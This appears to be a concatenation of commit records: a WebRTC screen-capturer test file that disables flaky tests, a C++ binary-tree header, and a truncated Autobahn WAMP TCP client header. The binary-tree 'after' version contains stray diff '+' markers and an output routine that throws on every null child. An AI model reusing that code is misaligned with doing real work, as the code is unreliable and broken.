FakeSharedMemoryFactory() {}\n ~FakeSharedMemoryFactory() override {}\n\n std::unique_ptr<SharedMemory> CreateSharedMemory(size_t size) override {\n return std::unique_ptr<SharedMemory>(\n new FakeSharedMemory(new char[size], size));\n }\n\n private:\n RTC_DISALLOW_COPY_AND_ASSIGN(FakeSharedMemoryFactory);\n};\n\nTEST_F(ScreenCapturerTest, GetScreenListAndSelectScreen) {\n webrtc::ScreenCapturer::ScreenList screens;\n EXPECT_TRUE(capturer_->GetScreenList(&screens));\n for (webrtc::ScreenCapturer::ScreenList::iterator it = screens.begin();\n it != screens.end(); ++it) {\n EXPECT_TRUE(capturer_->SelectScreen(it->id));\n }\n}\n\nTEST_F(ScreenCapturerTest, StartCapturer) {\n capturer_->Start(&callback_);\n}\n\nTEST_F(ScreenCapturerTest, Capture) {\n \/\/ Assume that Start() treats the screen as invalid initially.\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n\n capturer_->Start(&callback_);\n capturer_->Capture(DesktopRegion());\n\n ASSERT_TRUE(frame);\n EXPECT_GT(frame->size().width(), 0);\n EXPECT_GT(frame->size().height(), 0);\n EXPECT_GE(frame->stride(),\n frame->size().width() * DesktopFrame::kBytesPerPixel);\n EXPECT_TRUE(frame->shared_memory() == NULL);\n\n \/\/ Verify that the region contains whole screen.\n EXPECT_FALSE(frame->updated_region().is_empty());\n DesktopRegion::Iterator it(frame->updated_region());\n ASSERT_TRUE(!it.IsAtEnd());\n EXPECT_TRUE(it.rect().equals(DesktopRect::MakeSize(frame->size())));\n it.Advance();\n EXPECT_TRUE(it.IsAtEnd());\n}\n\nTEST_F(ScreenCapturerTest, CaptureUpdatedRegion) {\n TestCaptureUpdatedRegion();\n}\n\n\/\/ TODO(zijiehe): Find out the reason of failure of this test on trybot.\nTEST_F(ScreenCapturerTest, DISABLED_TwoCapturers) {\n std::unique_ptr<ScreenCapturer> capturer2 = std::move(capturer_);\n SetUp();\n TestCaptureUpdatedRegion({capturer_.get(), capturer2.get()});\n}\n\n#if defined(WEBRTC_WIN)\n\nTEST_F(ScreenCapturerTest, UseSharedBuffers) {\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n\n capturer_->Start(&callback_);\n capturer_->SetSharedMemoryFactory(\n std::unique_ptr<SharedMemoryFactory>(new FakeSharedMemoryFactory()));\n capturer_->Capture(DesktopRegion());\n\n ASSERT_TRUE(frame);\n ASSERT_TRUE(frame->shared_memory());\n EXPECT_EQ(frame->shared_memory()->id(), kTestSharedMemoryId);\n}\n\nTEST_F(ScreenCapturerTest, UseMagnifier) {\n CreateMagnifierCapturer();\n\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n\n capturer_->Start(&callback_);\n capturer_->Capture(DesktopRegion());\n ASSERT_TRUE(frame);\n}\n\nTEST_F(ScreenCapturerTest, UseDirectxCapturer) {\n if (!CreateDirectxCapturer()) {\n return;\n }\n\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n\n capturer_->Start(&callback_);\n capturer_->Capture(DesktopRegion());\n ASSERT_TRUE(frame);\n}\n\nTEST_F(ScreenCapturerTest, UseDirectxCapturerWithSharedBuffers) {\n if (!CreateDirectxCapturer()) {\n return;\n }\n\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n\n capturer_->Start(&callback_);\n capturer_->SetSharedMemoryFactory(\n std::unique_ptr<SharedMemoryFactory>(new FakeSharedMemoryFactory()));\n capturer_->Capture(DesktopRegion());\n ASSERT_TRUE(frame);\n ASSERT_TRUE(frame->shared_memory());\n EXPECT_EQ(frame->shared_memory()->id(), kTestSharedMemoryId);\n}\n\nTEST_F(ScreenCapturerTest, CaptureUpdatedRegionWithDirectxCapturer) {\n if (!CreateDirectxCapturer()) {\n return;\n }\n\n TestCaptureUpdatedRegion();\n}\n\nTEST_F(ScreenCapturerTest, TwoDirectxCapturers) {\n if (!CreateDirectxCapturer()) {\n return;\n }\n\n std::unique_ptr<ScreenCapturer> capturer2 = std::move(capturer_);\n RTC_CHECK(CreateDirectxCapturer());\n TestCaptureUpdatedRegion({capturer_.get(), capturer2.get()});\n}\n\nTEST_F(ScreenCapturerTest, TwoMagnifierCapturers) {\n CreateMagnifierCapturer();\n std::unique_ptr<ScreenCapturer> capturer2 = std::move(capturer_);\n CreateMagnifierCapturer();\n TestCaptureUpdatedRegion({capturer_.get(), capturer2.get()});\n}\n\n#endif \/\/ defined(WEBRTC_WIN)\n\n} \/\/ namespace webrtc\n<commit_msg>Disable all screen-capturer tests<commit_after>\/*\n * Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include <string.h>\n\n#include <algorithm>\n#include <initializer_list>\n#include <memory>\n#include <utility>\n\n#include \"webrtc\/modules\/desktop_capture\/screen_capturer.h\"\n\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"webrtc\/base\/checks.h\"\n#include \"webrtc\/base\/constructormagic.h\"\n#include \"webrtc\/base\/logging.h\"\n#include \"webrtc\/modules\/desktop_capture\/rgba_color.h\"\n#include \"webrtc\/modules\/desktop_capture\/desktop_capture_options.h\"\n#include \"webrtc\/modules\/desktop_capture\/desktop_frame.h\"\n#include \"webrtc\/modules\/desktop_capture\/desktop_region.h\"\n#include \"webrtc\/modules\/desktop_capture\/screen_capturer_mock_objects.h\"\n#include \"webrtc\/modules\/desktop_capture\/screen_drawer.h\"\n#include \"webrtc\/system_wrappers\/include\/sleep.h\"\n\n#if defined(WEBRTC_WIN)\n#include \"webrtc\/modules\/desktop_capture\/win\/screen_capturer_win_directx.h\"\n#endif \/\/ defined(WEBRTC_WIN)\n\nusing ::testing::_;\nusing ::testing::AnyNumber;\nusing ::testing::Return;\n\nconst int kTestSharedMemoryId = 123;\n\nnamespace webrtc {\n\nnamespace {\n\nACTION_P(SaveUniquePtrArg, dest) {\n *dest = std::move(*arg1);\n}\n\n\/\/ Returns true if color in |rect| of |frame| is |color|.\nbool ArePixelsColoredBy(const DesktopFrame& frame,\n DesktopRect rect,\n RgbaColor color) {\n \/\/ updated_region() should cover the painted area.\n DesktopRegion updated_region(frame.updated_region());\n updated_region.IntersectWith(rect);\n if (!updated_region.Equals(DesktopRegion(rect))) {\n return false;\n }\n\n \/\/ Color in the |rect| should be |color|.\n uint8_t* row = frame.GetFrameDataAtPos(rect.top_left());\n for (int i = 0; i < rect.height(); i++) {\n uint8_t* column = row;\n for (int j = 0; j < rect.width(); j++) {\n if (color != RgbaColor(column)) {\n return false;\n }\n column += DesktopFrame::kBytesPerPixel;\n }\n row += frame.stride();\n }\n return true;\n}\n\n} \/\/ namespace\n\nclass ScreenCapturerTest : public testing::Test {\n public:\n void SetUp() override {\n capturer_.reset(\n ScreenCapturer::Create(DesktopCaptureOptions::CreateDefault()));\n }\n\n protected:\n void TestCaptureUpdatedRegion(\n std::initializer_list<ScreenCapturer*> capturers) {\n RTC_DCHECK(capturers.size() > 0);\n \/\/ A large enough area for the tests, which should be able to fulfill by\n \/\/ most of systems.\n const int kTestArea = 512;\n const int kRectSize = 32;\n std::unique_ptr<ScreenDrawer> drawer = ScreenDrawer::Create();\n if (!drawer || drawer->DrawableRegion().is_empty()) {\n LOG(LS_WARNING) << \"No ScreenDrawer implementation for current platform.\";\n return;\n }\n if (drawer->DrawableRegion().width() < kTestArea ||\n drawer->DrawableRegion().height() < kTestArea) {\n LOG(LS_WARNING) << \"ScreenDrawer::DrawableRegion() is too small for the \"\n \"CaptureUpdatedRegion tests.\";\n return;\n }\n\n for (ScreenCapturer* capturer : capturers) {\n capturer->Start(&callback_);\n }\n\n \/\/ Draw a set of |kRectSize| by |kRectSize| rectangles at (|i|, |i|). One of\n \/\/ (controlled by |c|) its primary colors is |i|, and the other two are\n \/\/ 0xff. So we won't draw a white rectangle.\n for (int c = 0; c < 3; c++) {\n for (int i = 0; i < kTestArea - kRectSize; i += 16) {\n DesktopRect rect = DesktopRect::MakeXYWH(i, i, kRectSize, kRectSize);\n rect.Translate(drawer->DrawableRegion().top_left());\n RgbaColor color((c == 0 ? (i & 0xff) : 0x7f),\n (c == 1 ? (i & 0xff) : 0x7f),\n (c == 2 ? (i & 0xff) : 0x7f));\n drawer->Clear();\n drawer->DrawRectangle(rect, color);\n TestCaptureOneFrame(capturers, drawer.get(), rect, color);\n }\n }\n }\n\n void TestCaptureUpdatedRegion() {\n TestCaptureUpdatedRegion({capturer_.get()});\n }\n\n#if defined(WEBRTC_WIN)\n bool CreateDirectxCapturer() {\n if (!ScreenCapturerWinDirectx::IsSupported()) {\n LOG(LS_WARNING) << \"Directx capturer is not supported\";\n return false;\n }\n\n DesktopCaptureOptions options(DesktopCaptureOptions::CreateDefault());\n options.set_allow_directx_capturer(true);\n capturer_.reset(ScreenCapturer::Create(options));\n return true;\n }\n\n void CreateMagnifierCapturer() {\n DesktopCaptureOptions options(DesktopCaptureOptions::CreateDefault());\n options.set_allow_use_magnification_api(true);\n capturer_.reset(ScreenCapturer::Create(options));\n }\n#endif \/\/ defined(WEBRTC_WIN)\n\n std::unique_ptr<ScreenCapturer> capturer_;\n MockScreenCapturerCallback callback_;\n\n private:\n \/\/ Repeats capturing the frame by using |capturers| one-by-one for 600 times,\n \/\/ typically 30 seconds, until they succeeded captured a |color| rectangle at\n \/\/ |rect|. This function uses |drawer|->WaitForPendingDraws() between two\n \/\/ attempts to wait for the screen to update.\n void TestCaptureOneFrame(std::vector<ScreenCapturer*> capturers,\n ScreenDrawer* drawer,\n DesktopRect rect,\n RgbaColor color) {\n size_t succeeded_capturers = 0;\n const int wait_capture_round = 600;\n for (int i = 0; i < wait_capture_round; i++) {\n drawer->WaitForPendingDraws();\n for (size_t j = 0; j < capturers.size(); j++) {\n if (capturers[j] == nullptr) {\n \/\/ ScreenCapturer should return an empty updated_region() if no\n \/\/ update detected. So we won't test it again if it has captured\n \/\/ the rectangle we drew.\n continue;\n }\n std::unique_ptr<DesktopFrame> frame = CaptureFrame(capturers[j]);\n if (!frame) {\n \/\/ CaptureFrame() has triggered an assertion failure already, we\n \/\/ only need to return here.\n return;\n }\n\n if (ArePixelsColoredBy(*frame, rect, color)) {\n capturers[j] = nullptr;\n succeeded_capturers++;\n }\n }\n\n if (succeeded_capturers == capturers.size()) {\n break;\n }\n }\n\n ASSERT_EQ(succeeded_capturers, capturers.size());\n }\n\n \/\/ Expects |capturer| to successfully capture a frame, and returns it.\n std::unique_ptr<DesktopFrame> CaptureFrame(ScreenCapturer* capturer) {\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n capturer->Capture(DesktopRegion());\n EXPECT_TRUE(frame);\n return frame;\n }\n};\n\nclass FakeSharedMemory : public SharedMemory {\n public:\n FakeSharedMemory(char* buffer, size_t size)\n : SharedMemory(buffer, size, 0, kTestSharedMemoryId),\n buffer_(buffer) {\n }\n virtual ~FakeSharedMemory() {\n delete[] buffer_;\n }\n private:\n char* buffer_;\n RTC_DISALLOW_COPY_AND_ASSIGN(FakeSharedMemory);\n};\n\nclass FakeSharedMemoryFactory : public SharedMemoryFactory {\n public:\n FakeSharedMemoryFactory() {}\n ~FakeSharedMemoryFactory() override {}\n\n std::unique_ptr<SharedMemory> CreateSharedMemory(size_t size) override {\n return std::unique_ptr<SharedMemory>(\n new FakeSharedMemory(new char[size], size));\n }\n\n private:\n RTC_DISALLOW_COPY_AND_ASSIGN(FakeSharedMemoryFactory);\n};\n\nTEST_F(ScreenCapturerTest, GetScreenListAndSelectScreen) {\n webrtc::ScreenCapturer::ScreenList screens;\n EXPECT_TRUE(capturer_->GetScreenList(&screens));\n for (webrtc::ScreenCapturer::ScreenList::iterator it = screens.begin();\n it != screens.end(); ++it) {\n EXPECT_TRUE(capturer_->SelectScreen(it->id));\n }\n}\n\nTEST_F(ScreenCapturerTest, StartCapturer) {\n capturer_->Start(&callback_);\n}\n\nTEST_F(ScreenCapturerTest, Capture) {\n \/\/ Assume that Start() treats the screen as invalid initially.\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n\n capturer_->Start(&callback_);\n capturer_->Capture(DesktopRegion());\n\n ASSERT_TRUE(frame);\n EXPECT_GT(frame->size().width(), 0);\n EXPECT_GT(frame->size().height(), 0);\n EXPECT_GE(frame->stride(),\n frame->size().width() * DesktopFrame::kBytesPerPixel);\n EXPECT_TRUE(frame->shared_memory() == NULL);\n\n \/\/ Verify that the region contains whole screen.\n EXPECT_FALSE(frame->updated_region().is_empty());\n DesktopRegion::Iterator it(frame->updated_region());\n ASSERT_TRUE(!it.IsAtEnd());\n EXPECT_TRUE(it.rect().equals(DesktopRect::MakeSize(frame->size())));\n it.Advance();\n EXPECT_TRUE(it.IsAtEnd());\n}\n\n\/\/ Disabled due to being flaky due to the fact that it useds rendering \/ UI,\n\/\/ see webrtc\/6366.\nTEST_F(ScreenCapturerTest, DISABLED_CaptureUpdatedRegion) {\n TestCaptureUpdatedRegion();\n}\n\n\/\/ Disabled due to being flaky due to the fact that it useds rendering \/ UI,\n\/\/ see webrtc\/6366.\n\/\/ TODO(zijiehe): Find out the reason of failure of this test on trybot.\nTEST_F(ScreenCapturerTest, DISABLED_TwoCapturers) {\n std::unique_ptr<ScreenCapturer> capturer2 = std::move(capturer_);\n SetUp();\n TestCaptureUpdatedRegion({capturer_.get(), capturer2.get()});\n}\n\n#if defined(WEBRTC_WIN)\n\nTEST_F(ScreenCapturerTest, UseSharedBuffers) {\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n\n capturer_->Start(&callback_);\n capturer_->SetSharedMemoryFactory(\n std::unique_ptr<SharedMemoryFactory>(new FakeSharedMemoryFactory()));\n capturer_->Capture(DesktopRegion());\n\n ASSERT_TRUE(frame);\n ASSERT_TRUE(frame->shared_memory());\n EXPECT_EQ(frame->shared_memory()->id(), kTestSharedMemoryId);\n}\n\nTEST_F(ScreenCapturerTest, UseMagnifier) {\n CreateMagnifierCapturer();\n\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n\n capturer_->Start(&callback_);\n capturer_->Capture(DesktopRegion());\n ASSERT_TRUE(frame);\n}\n\nTEST_F(ScreenCapturerTest, UseDirectxCapturer) {\n if (!CreateDirectxCapturer()) {\n return;\n }\n\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n\n capturer_->Start(&callback_);\n capturer_->Capture(DesktopRegion());\n ASSERT_TRUE(frame);\n}\n\nTEST_F(ScreenCapturerTest, UseDirectxCapturerWithSharedBuffers) {\n if (!CreateDirectxCapturer()) {\n return;\n }\n\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n\n capturer_->Start(&callback_);\n capturer_->SetSharedMemoryFactory(\n std::unique_ptr<SharedMemoryFactory>(new FakeSharedMemoryFactory()));\n capturer_->Capture(DesktopRegion());\n ASSERT_TRUE(frame);\n ASSERT_TRUE(frame->shared_memory());\n EXPECT_EQ(frame->shared_memory()->id(), kTestSharedMemoryId);\n}\n\n\/\/ Disabled due to being flaky due to the fact that it useds rendering \/ UI,\n\/\/ see webrtc\/6366.\nTEST_F(ScreenCapturerTest, DISABLED_CaptureUpdatedRegionWithDirectxCapturer) {\n if (!CreateDirectxCapturer()) {\n return;\n }\n\n TestCaptureUpdatedRegion();\n}\n\n\/\/ Disabled due to being flaky due to the fact that it useds rendering \/ UI,\n\/\/ see webrtc\/6366.\nTEST_F(ScreenCapturerTest, DISABLED_TwoDirectxCapturers) {\n if (!CreateDirectxCapturer()) {\n return;\n }\n\n std::unique_ptr<ScreenCapturer> capturer2 = std::move(capturer_);\n RTC_CHECK(CreateDirectxCapturer());\n TestCaptureUpdatedRegion({capturer_.get(), capturer2.get()});\n}\n\n\/\/ Disabled due to being flaky due to the fact that it useds rendering \/ UI,\n\/\/ see webrtc\/6366.\nTEST_F(ScreenCapturerTest, DISABLED_TwoMagnifierCapturers) {\n CreateMagnifierCapturer();\n std::unique_ptr<ScreenCapturer> capturer2 = std::move(capturer_);\n CreateMagnifierCapturer();\n TestCaptureUpdatedRegion({capturer_.get(), capturer2.get()});\n}\n\n#endif \/\/ defined(WEBRTC_WIN)\n\n} \/\/ namespace webrtc\n<|endoftext|>"} {"text":"<commit_before>#include <iostream> \n#include <string> \n#include <fstream> \n#include <cstdint> \n\nusing namespace std;\n\ntemplate <typename T>\nstruct Node {\n\tNode *left;\n\tNode *right;\n\tT data;\n};\n\n\ntemplate <typename T>\nclass BinaryTree\n{\nprivate:\n\tNode<T>* root;\n\tint CountElements = 0;\n\npublic:\n\tBinaryTree();\n\t~BinaryTree();\n\tBinaryTree(const std::initializer_list<T>&);\n\tunsigned int count() const;\n\tvoid insert_node(const T&x);\n\tNode<T> *find_node(const T&, Node<T>*)const;\n\tNode<T>*root_();\n\tvoid deleteNode(Node<T>* temp);\n\tvoid writing(const std::string& filename)const;\n\tvoid output(std::ostream& ost, const Node<T>* temp);\n\tfriend std::ostream& operator<< <> (std::ostream&, const BinaryTree<T>&);\n\n};\n\ntemplate <typename T>\nBinaryTree<T>::BinaryTree()\n{\n\troot = nullptr;\n}\n\ntemplate<typename T>\nNode<T>* BinaryTree<T>::root_()\n{\n\treturn root;\n}\n\ntemplate <typename T>\nBinaryTree<T>::~BinaryTree()\n{\n\tdeleteNode(root);\n}\n\n\ntemplate<typename T>\nvoid BinaryTree<T>::insert_node(const T&x)\n{\n\tif (find_node(x, root_())) return;\n\tNode<T>* MyTree = new Node<T>;\n\tMyTree->data = x;\n\tMyTree->left = MyTree->right = 0;\n\tNode<T>* buff = root;\n\tNode<T>* temp = root;\n\twhile (temp)\n\t{\n\t\tbuff = temp;\n\t\tif (x < temp->data)\n\t\t\ttemp = temp->left;\n\t\telse\n\t\t\ttemp = temp->right;\n\t}\n\tif (!buff)\n\t\troot = MyTree;\n\telse\n\t{\n\t\tif (x < buff->data)\n\t\t\tbuff->left = MyTree;\n\t\telse\n\t\t\tbuff->right = MyTree;\n\t}\n\t++CountElements;\n}\n\n\ntemplate<typename T>\nNode<T>* BinaryTree<T>::find_node(const T& value, Node<T>* temp) const\n{\n\tif (temp == 0 || value == temp->data)\n\t\treturn temp;\n\tif (value > temp->data)\n\t\treturn find_node(value, temp->right);\n\telse\n\t\treturn find_node(value, temp->left);\n}\n\ntemplate<typename T>\nvoid BinaryTree<T>::deleteNode(Node<T>* temp)\n{\n\tif (!temp)\n\t{\n\t\tthrow \"error\";\n\t}\n\tif (temp->left)\n\t{\n\t\tdeleteNode(temp->left);\n\t\ttemp->left = nullptr;\n\t}\n\n\tif (temp->right)\n\t{\n\t\tdeleteNode(temp->right);\n\t\ttemp->right = nullptr;\n\t}\n\tdelete temp;\n}\n\ntemplate<typename T>\nvoid BinaryTree<T>::output(std::ostream& ost, const Node<T>* temp)\n{\n\tif (temp == nullptr)\n\t{\n\t\tthrow \"error\";\n\t\treturn;\n\t}\n\telse\n\t{\n\t\tost << temp->data << \"\t\";\n\t\toutput(ost, temp->left);\n\t\toutput(ost, temp->right);\n\t}\n}\n\n\ntemplate<typename T>\nvoid BinaryTree<T>::writing(const std::string& filename)const\n{\n\tofstream file_1(filename);\n\tfile_1 << CountElements << \"\\t\";\n\toutput(file_1, root);\n\tfile_1.close();\n}\n\n\ntemplate <typename T>\nstd::ostream& show(std::ostream& ost, const Node<T>* node, unsigned int level)\n{\n\tif (!node)\n\t\treturn ost;\n\tshow(ost, node->right, level + 1);\n\tfor (unsigned int i = 0; i < level; i++)\n\t\tost << \"\\t\";\n\tost << node->data << std::endl;\n\tshow(ost, node->left, level + 1);\n\treturn ost;\n}\n\n\ntemplate <typename T>\nstd::ostream& operator<<(std::ostream& ost, const BinaryTree<T>& bst)\n{\n\tif (!bst.root)\n\t\tthrow \"error\";\n\tshow(ost, bst.root, 0);\n\treturn ost;\n}\n<commit_msg>Update BinaryTree.hpp<commit_after>#include <iostream> \n#include <string> \n#include <fstream> \n#include <cstdint> \n\nusing namespace std;\n\n+template<typename T>\n +class BinaryTree; \n +\n +template<typename T>\n +std::ostream& operator<<(ostream& ost, BinaryTree<T>& temp);\n\ntemplate <typename T>\nstruct Node {\n\tNode *left;\n\tNode *right;\n\tT data;\n};\n\n\ntemplate <typename T>\nclass BinaryTree\n{\nprivate:\n\tNode<T>* root;\n\tint CountElements = 0;\n\npublic:\n\tBinaryTree();\n\t~BinaryTree();\n\tBinaryTree(const std::initializer_list<T>&);\n\tunsigned int count() const;\n\tvoid insert_node(const T&x);\n\tNode<T> *find_node(const T&, Node<T>*)const;\n\tNode<T>*root_();\n\tvoid deleteNode(Node<T>* temp);\n\tvoid writing(const std::string& filename)const;\n\tvoid output(std::ostream& ost, const Node<T>* temp);\n\tfriend std::ostream& operator<< <> (std::ostream&, const BinaryTree<T>&);\n\n};\n\ntemplate <typename T>\nBinaryTree<T>::BinaryTree()\n{\n\troot = nullptr;\n}\n\ntemplate<typename T>\nNode<T>* BinaryTree<T>::root_()\n{\n\treturn root;\n}\n\ntemplate <typename T>\nBinaryTree<T>::~BinaryTree()\n{\n\tdeleteNode(root);\n}\n\n\ntemplate<typename T>\nvoid BinaryTree<T>::insert_node(const T&x)\n{\n\tif (find_node(x, root_())) return;\n\tNode<T>* MyTree = new Node<T>;\n\tMyTree->data = x;\n\tMyTree->left = MyTree->right = 0;\n\tNode<T>* buff = root;\n\tNode<T>* temp = root;\n\twhile (temp)\n\t{\n\t\tbuff = temp;\n\t\tif (x < temp->data)\n\t\t\ttemp = temp->left;\n\t\telse\n\t\t\ttemp = temp->right;\n\t}\n\tif (!buff)\n\t\troot = MyTree;\n\telse\n\t{\n\t\tif (x < buff->data)\n\t\t\tbuff->left = MyTree;\n\t\telse\n\t\t\tbuff->right = MyTree;\n\t}\n\t++CountElements;\n}\n\n\ntemplate<typename T>\nNode<T>* BinaryTree<T>::find_node(const T& value, Node<T>* temp) const\n{\n\tif (temp == 0 || value == temp->data)\n\t\treturn temp;\n\tif (value > temp->data)\n\t\treturn find_node(value, temp->right);\n\telse\n\t\treturn find_node(value, temp->left);\n}\n\ntemplate<typename T>\nvoid BinaryTree<T>::deleteNode(Node<T>* temp)\n{\n\tif (!temp)\n\t{\n\t\tthrow \"error\";\n\t}\n\tif (temp->left)\n\t{\n\t\tdeleteNode(temp->left);\n\t\ttemp->left = nullptr;\n\t}\n\n\tif (temp->right)\n\t{\n\t\tdeleteNode(temp->right);\n\t\ttemp->right = nullptr;\n\t}\n\tdelete temp;\n}\n\ntemplate<typename T>\nvoid BinaryTree<T>::output(std::ostream& ost, const Node<T>* temp)\n{\n\tif (temp == nullptr)\n\t{\n\t\tthrow \"error\";\n\t\treturn;\n\t}\n\telse\n\t{\n\t\tost << temp->data << \"\t\";\n\t\toutput(ost, temp->left);\n\t\toutput(ost, temp->right);\n\t}\n}\n\n\ntemplate<typename T>\nvoid BinaryTree<T>::writing(const std::string& filename)const\n{\n\tofstream file_1(filename);\n\tfile_1 << CountElements << \"\\t\";\n\toutput(file_1, root);\n\tfile_1.close();\n}\n\n\ntemplate <typename T>\nstd::ostream& show(std::ostream& ost, const Node<T>* node, unsigned int level)\n{\n\tif (!node)\n\t\treturn ost;\n\tshow(ost, node->right, level + 1);\n\tfor (unsigned int i = 0; i < level; i++)\n\t\tost << \"\\t\";\n\tost << node->data << std::endl;\n\tshow(ost, node->left, level + 1);\n\treturn ost;\n}\n\n\ntemplate <typename T>\nstd::ostream& operator<<(std::ostream& ost, const BinaryTree<T>& bst)\n{\n\tif (!bst.root)\n\t\tthrow \"error\";\n\tshow(ost, bst.root, 0);\n\treturn ost;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (C) 2014 Tavendo GmbH\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef AUTOBAHN_TCP_CLIENT_H\n#define AUTOBAHN_TCP_CLIENT_H\n\n#include <autobahn\/autobahn.hpp>\n#include <boost\/asio.hpp>\n#include <boost\/version.hpp>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <tuple>\nnamespace autobahn {\n\/**\n * @brief a class that wraps intialization of a raw tcp socket and WAMP client session utilizing it\n *\/\n class wamp_tcp_client {\n typedef autobahn::wamp_session<boost::asio::ip::tcp::socket, boost::asio::ip::tcp::socket> wamp_tcp_session_t;\n public:\n wamp_tcp_client(std::shared_ptr<boost::asio::io_service> pIo,\n const boost::asio::ip::tcp::endpoint &Endpoint,\n const std::string &Realm,\n bool Debug = false) :\n m_realm(Realm),\n m_rawsocket_endpoint(Endpoint),\n m_pIo(pIo),\n m_debug(Debug) {\n init();\n }\n\n wamp_tcp_client(std::shared_ptr<boost::asio::io_service> pIo,\n const std::string &IpAddress,\n uint16_t Port,\n const std::string &Realm,\n bool Debug = false) :\n m_realm(Realm),\n m_rawsocket_endpoint(boost::asio::ip::address::from_string(IpAddress), Port),\n m_pIo(pIo),\n m_debug(Debug) {\n init();\n }\n\n \/**\n * @brief initialize members, creating shared pointers for the socket, and session\n *\/\n void init() {\n m_pSession.reset();\n m_pSocket.reset();\n m_connected = boost::promise<bool>();\n m_pSocket = std::make_shared<boost::asio::ip::tcp::socket>(*m_pIo);\n m_pSession = std::make_shared<wamp_tcp_session_t>(*m_pIo, *m_pSocket, *m_pSocket, m_debug);\n }\n\n \/**\n * @brief launches the session asyncronously, returns a future containing an error code (0 means success)\n *\/\n boost::future<bool> launch() {\n m_pSocket->async_connect(m_rawsocket_endpoint, [&](boost::system::error_code ec) {\n if (!ec) {\n std::cerr << \"connected to server\" << std::endl;\n m_startFuture = m_pSession->start().then([&](boost::future<bool> started) {\n std::cerr << \"session started\" << std::endl;\n m_joinFuture = m_pSession->join(m_realm).then([&](boost::future<uint64_t> connected) {\n std::cerr << \"connected to realm\" << connected.get() << std::endl;\n m_connected.set_value(true);\n });\n });\n } else {\n std::cerr << \"connect failed: \" << ec.message() << std::endl;\n m_connected.set_value(false);\n }\n });\n return m_connected.get_future();\n }\n\n ~wamp_tcp_client() {\n }\n\n \/**\n * This operator is used to pass through calls to the WAMP session. i.e *(pClient)->call(...)\n *\/\n std::shared_ptr<wamp_tcp_session_t> &operator->() {\n return m_pSession;\n }\n\n private:\n boost::future<void> m_stopFuture;\n boost::future<void> m_startFuture;\n boost::future<void> m_joinFuture;\n boost::promise<bool> m_connected;\n std::shared_ptr<wamp_tcp_session_t> m_pSession; \/\/<need to be sure this is destructed before m_pSocket\n std::shared_ptr<boost::asio::ip::tcp::socket> m_pSocket;\n std::string m_realm;\n boost::asio::ip::tcp::endpoint m_rawsocket_endpoint;\n std::shared_ptr<boost::asio::io_service> m_pIo; \/\/\/<hold a reference so that we can clean up when the last user goes out of scope\n bool m_debug;\n };\n} \/\/namespace autobahn\n#endif \/\/AUTOBAHN_TCP_CLIENT_H\n<commit_msg>typo 